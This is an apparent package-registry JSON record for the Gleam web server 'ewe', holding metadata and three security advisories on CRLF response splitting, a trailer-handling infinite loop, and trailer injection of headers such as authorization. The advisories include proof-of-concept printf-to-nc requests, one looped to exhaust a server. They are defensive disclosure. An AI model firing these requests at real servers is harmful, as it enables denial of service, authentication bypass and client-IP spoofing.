{"id":12032270,"name":"ewe","ecosystem":"hex","description":"🐑 a fluffy Gleam web server","homepage":"https://gleam.run/","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":null,"keywords_array":[],"namespace":null,"versions_count":33,"first_release_published_at":"2025-08-22T18:52:06.314Z","latest_release_published_at":"2026-04-01T14:47:48.868Z","latest_release_number":"3.0.7","last_synced_at":"2026-04-03T18:12:03.665Z","created_at":"2025-08-22T19:05:56.292Z","updated_at":"2026-04-04T10:10:35.626Z","registry_url":"https://hex.pm/packages/ewe/","install_command":"mix hex.package fetch ewe ","documentation_url":"http://hexdocs.pm/ewe/","metadata":{},"repo_metadata":{"id":310380378,"uuid":"1039589169","full_name":"vshakitskiy/ewe","owner":"vshakitskiy","description":"🐑 a fluffy Gleam web server","archived":false,"fork":false,"pushed_at":"2025-08-24T20:55:51.000Z","size":55,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"mistress","last_synced_at":"2025-08-24T23:01:09.896Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Gleam","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/vshakitskiy.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-08-17T15:08:40.000Z","updated_at":"2025-08-24T20:55:55.000Z","dependencies_parsed_at":"2025-08-17T19:22:44.482Z","dependency_job_id":"e6e19b26-f322-4e96-9c3c-c10ba236ac2c","html_url":"https://github.com/vshakitskiy/ewe","commit_stats":null,"previous_names":["vshakitskiy/ewe"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/vshakitskiy/ewe","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vshakitskiy%2Fewe","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vshakitskiy%2Fewe/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vshakitskiy%2Fewe/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vshakitskiy%2Fewe/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vshakitskiy","download_url":"https://codeload.github.com/vshakitskiy/ewe/tar.gz/refs/heads/mistress","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vshakitskiy%2Fewe/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":272900182,"owners_count":25012041,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-30T02:00:09.474Z","response_time":77,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"vshakitskiy","name":"Shakitskiy Vladislav","uuid":"54102609","kind":"user","description":"","email":"","website":null,"location":" Russian Federation","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/54102609?u=9629d599ec0db63fb8cc44a8fb5bba578a3de819\u0026v=4","repositories_count":1,"last_synced_at":"2023-12-04T12:37:25.841Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/vshakitskiy","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2023-04-25T11:28:14.645Z","updated_at":"2023-12-04T12:37:25.991Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vshakitskiy","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vshakitskiy/repositories"},"tags":[]},"repo_metadata_updated_at":"2026-04-03T18:12:05.342Z","dependent_packages_count":0,"downloads":2810,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":31.072008662696266,"dependent_packages_count":18.992961559285327,"stargazers_count":66.32559146770613,"forks_count":44.18818688755346,"docker_downloads_count":null,"average":40.144687144310296},"purl":"pkg:hex/ewe","advisories":[{"uuid":"GSA_kwCzR0hTQS14MnczLTIzanItaHJwZs4ABUl3","url":"https://github.com/advisories/GHSA-x2w3-23jr-hrpf","title":"ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)","description":"### Summary\n\nThe `encode_headers` function in `src/ewe/internal/encoder.gleam` directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (`\\r\\n`) sequences. An application that passes user-controlled data into response headers (e.g., setting a `Location` redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.\n\nNotably, ewe *does* validate CRLF in **incoming** request headers via `validate_field_value()` in the HTTP/1.1 parser — but provides no equivalent protection for **outgoing** response headers in the encoder.\n\n### Details\n\n**File:** `src/ewe/internal/encoder.gleam`\n\n**Vulnerable code:**\n```gleam\nfn encode_headers(headers: List(#(String, String))) -\u003e BitArray {\n  let headers =\n    list.fold(headers, \u003c\u003c\u003e\u003e, fn(acc, headers) {\n      let #(key, value) = headers\n      \u003c\u003cacc:bits, key:utf8, \": \", value:utf8, \"\\r\\n\"\u003e\u003e\n    })\n\n  \u003c\u003cheaders:bits, \"\\r\\n\"\u003e\u003e\n}\n```\n\nBoth `key` and `value` are embedded directly into the `BitArray` output. If either contains `\\r\\n`, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.\n\n**Contrast with request parsing** (`src/ewe/internal/http1.gleam`): incoming header values are protected:\n```gleam\nuse value \u003c- try(\n  validate_field_value(value) |\u003e replace_error(InvalidHeaders)\n)\n```\n\nNo analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject `\\r` (0x0D) and `\\n` (0x0A) from all header key and value strings in `encode_headers` before encoding, mirroring the validation already applied to incoming request headers via `validate_field_value()`\n\n### PoC\n\nAn ewe application echoes a user-supplied redirect URL into a `Location` header:\n\n```gleam\nfn handle_request(req: Request) -\u003e Response {\n  let redirect_url =\n    request.get_query(req)\n    |\u003e result.try(list.key_find(_, \"next\"))\n    |\u003e result.unwrap(\"/home\")\n\n  response.new(302)\n  |\u003e response.set_header(\"location\", redirect_url)\n  |\u003e response.set_body(ewe.Empty)\n}\n```\n\nAttacker request:\n```bash\nprintf 'GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\nResulting response:\n```\nHTTP/1.1 302 Found\nlocation: https://example.com\nX-Injected: true\ncontent-length: 0\ndate: Tue, 24 Mar 2026 07:53:00 GMT\nconnection: keep-alive\n\n\n```\n\nThe `X-Injected: true` header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-01T22:18:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf","https://github.com/advisories/GHSA-x2w3-23jr-hrpf"],"source_kind":"github","identifiers":["GHSA-x2w3-23jr-hrpf","CVE-2026-34715"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-01T23:00:09.827Z","updated_at":"2026-04-04T10:00:14.538Z","epss_percentage":0.00029,"epss_percentile":0.08181,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MnczLTIzanItaHJwZs4ABUl3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14MnczLTIzanItaHJwZs4ABUl3","packages":[{"ecosystem":"hex","package_name":"ewe","versions":[{"first_patched_version":"3.0.6","vulnerable_version_range":"\u003c 3.0.6"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":0,"downloads":2767,"downloads_period":"total"},"affected_versions":[],"unaffected_versions":[]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MnczLTIzanItaHJwZs4ABUl3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00dzk4LXhmMzktMjNncM4ABTvD","url":"https://github.com/advisories/GHSA-4w98-xf39-23gp","title":"Loop with Unreachable Exit Condition ('Infinite Loop') in ewe","description":"## Summary\n\newe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -\u003e handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n  printf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 1 localhost 8080 \u0026\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493–531\nfn handle_trailers(\n  req: Request(BitArray),\n  set: Set(String),\n  rest: Buffer,\n) -\u003e Request(BitArray) {\n  case decoder.decode_packet(HttphBin, rest) {\n    Ok(Packet(HttpEoh, _)) -\u003e req\n    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -\u003e {\n      // ... field name parsing ...\n      case field_name {\n        Ok(field_name) -\u003e {\n          case\n            set.contains(set, field_name) \u0026\u0026 !is_forbidden_trailer(field_name)\n          {\n            True -\u003e {\n              case bit_array.to_string(value) {\n                Ok(value) -\u003e {\n                  request.set_header(req, field_name, value)\n                  |\u003e handle_trailers(set, Buffer(header_rest, 0))  // correct\n                }\n                Error(Nil) -\u003e handle_trailers(req, set, rest)      // BUG: line 520\n              }\n            }\n            False -\u003e handle_trailers(req, set, rest)               // BUG: line 523\n          }\n        }\n        Error(Nil) -\u003e handle_trailers(req, set, rest)              // BUG: line 526\n      }\n    }\n    _ -\u003e req\n  }\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-16T20:49:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vshakitskiy/ewe/security/advisories/GHSA-4w98-xf39-23gp","https://github.com/vshakitskiy/ewe/commit/8513de9dcdd0005f727c0f6f15dd89f8d626f560","https://github.com/vshakitskiy/ewe/commit/d8b9b8a86470c0cb5696647997c2f34763506e37","https://nvd.nist.gov/vuln/detail/CVE-2026-32873","https://github.com/advisories/GHSA-4w98-xf39-23gp"],"source_kind":"github","identifiers":["GHSA-4w98-xf39-23gp","CVE-2026-32873"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-16T21:00:08.768Z","updated_at":"2026-04-04T10:00:37.786Z","epss_percentage":0.00016,"epss_percentile":0.03628,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dzk4LXhmMzktMjNncM4ABTvD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00dzk4LXhmMzktMjNncM4ABTvD","packages":[{"ecosystem":"hex","package_name":"ewe","versions":[{"first_patched_version":"3.0.5","vulnerable_version_range":"\u003e= 0.8.0, \u003c 3.0.5"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":0,"downloads":2767,"downloads_period":"total"},"affected_versions":[],"unaffected_versions":[]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dzk4LXhmMzktMjNncM4ABTvD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05dzg4LTc5ZjgtbTN2cM4ABTvC","url":"https://github.com/advisories/GHSA-9w88-79f8-m3vp","title":"Permissive List of Allowed Inputs in ewe","description":"## Summary\n\newe's chunked transfer encoding trailer handling merges declared trailer fields into `req.headers` after body parsing, but the denylist only blocks 9 header names. Security-sensitive headers like `authorization`, `cookie`, and `x-forwarded-for` can be injected or overwritten by a malicious client via trailers, potentially bypassing authentication or spoofing proxy-trust headers.\n\n## Impact\n\nWhen `ewe.read_body` processes a chunked request with a `Trailer` header, it calls `handle_trailers` (`ewe/internal/http1.gleam:493`), which merges declared trailer fields into `req.headers` via `request.set_header` (line 517). The `is_forbidden_trailer` denylist (line 534) only blocks 9 header names: `transfer-encoding`, `content-length`, `host`, `cache-control`, `expect`, `max-forwards`, `pragma`, `range`, and `te`.\n\nSecurity-sensitive headers are not blocked, including:\n\n- `authorization` — attacker can inject or overwrite Bearer tokens\n- `cookie` / `set-cookie` — attacker can inject session cookies\n- `proxy-authorization` — attacker can inject proxy credentials\n- `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto` — attacker can spoof proxy-trust headers\n- `x-real-ip` — attacker can spoof client IP\n\nA malicious client can inject these headers by declaring them in the `Trailer` request header and including them after the final `0\\r\\n` chunk. If the header already exists (e.g., set by a reverse proxy), `request.set_header` overwrites it. Any application logic that reads these headers after calling `ewe.read_body` — such as authentication middleware, IP-based rate limiting, or session validation — will see the attacker-controlled values.\n\n### Proof of Concept\n\n**Inject an `authorization` header that didn't exist:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer injected-token\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n**Overwrite a legitimate `authorization` header set by a proxy:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nAuthorization: Bearer legitimate-token\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer evil-token\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n**Inject `x-forwarded-for` to spoof client IP:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: x-forwarded-for\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nx-forwarded-for: 10.0.0.1\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n## Patches\n\n- Expand the denylist in `is_forbidden_trailer` to include `authorization`, `cookie`, `set-cookie`, `proxy-authorization`, `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto`, `x-real-ip`, and other security-sensitive headers.\n- Alternatively, switch to an allowlist model that only permits explicitly safe trailer field names.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-16T20:49:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/vshakitskiy/ewe/security/advisories/GHSA-9w88-79f8-m3vp","https://github.com/vshakitskiy/ewe/commit/07dcfd2135fc95f38c17a9d030de3d7efee1ee39","https://github.com/vshakitskiy/ewe/commit/94ab6e7bf7293e987ae98b4daa51ea131c2671ba","https://github.com/vshakitskiy/ewe/releases/tag/v3.0.5","https://nvd.nist.gov/vuln/detail/CVE-2026-32881","https://github.com/advisories/GHSA-9w88-79f8-m3vp"],"source_kind":"github","identifiers":["GHSA-9w88-79f8-m3vp","CVE-2026-32881"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-16T21:00:08.768Z","updated_at":"2026-04-04T10:00:37.786Z","epss_percentage":0.00188,"epss_percentile":0.40543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05dzg4LTc5ZjgtbTN2cM4ABTvC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05dzg4LTc5ZjgtbTN2cM4ABTvC","packages":[{"ecosystem":"hex","package_name":"ewe","versions":[{"first_patched_version":"3.0.5","vulnerable_version_range":"\u003e= 0.6.0, \u003c 3.0.5"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":0,"downloads":2767,"downloads_period":"total"},"affected_versions":[],"unaffected_versions":[]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05dzg4LTc5ZjgtbTN2cM4ABTvC/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/hex/ewe","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/hex/ewe","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/hex/ewe/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/ewe/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/ewe/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/ewe/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/ewe/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/packages/ewe/codemeta","maintainers":[{"uuid":"wiskiy","login":"wiskiy","name":null,"email":"vshakitskiy@gmail.com","url":null,"packages_count":5,"html_url":"https://hex.pm/users/wiskiy","role":null,"created_at":"2025-08-23T03:57:07.920Z","updated_at":"2025-08-23T03:57:07.920Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/hex.pm/maintainers/wiskiy/packages"}]}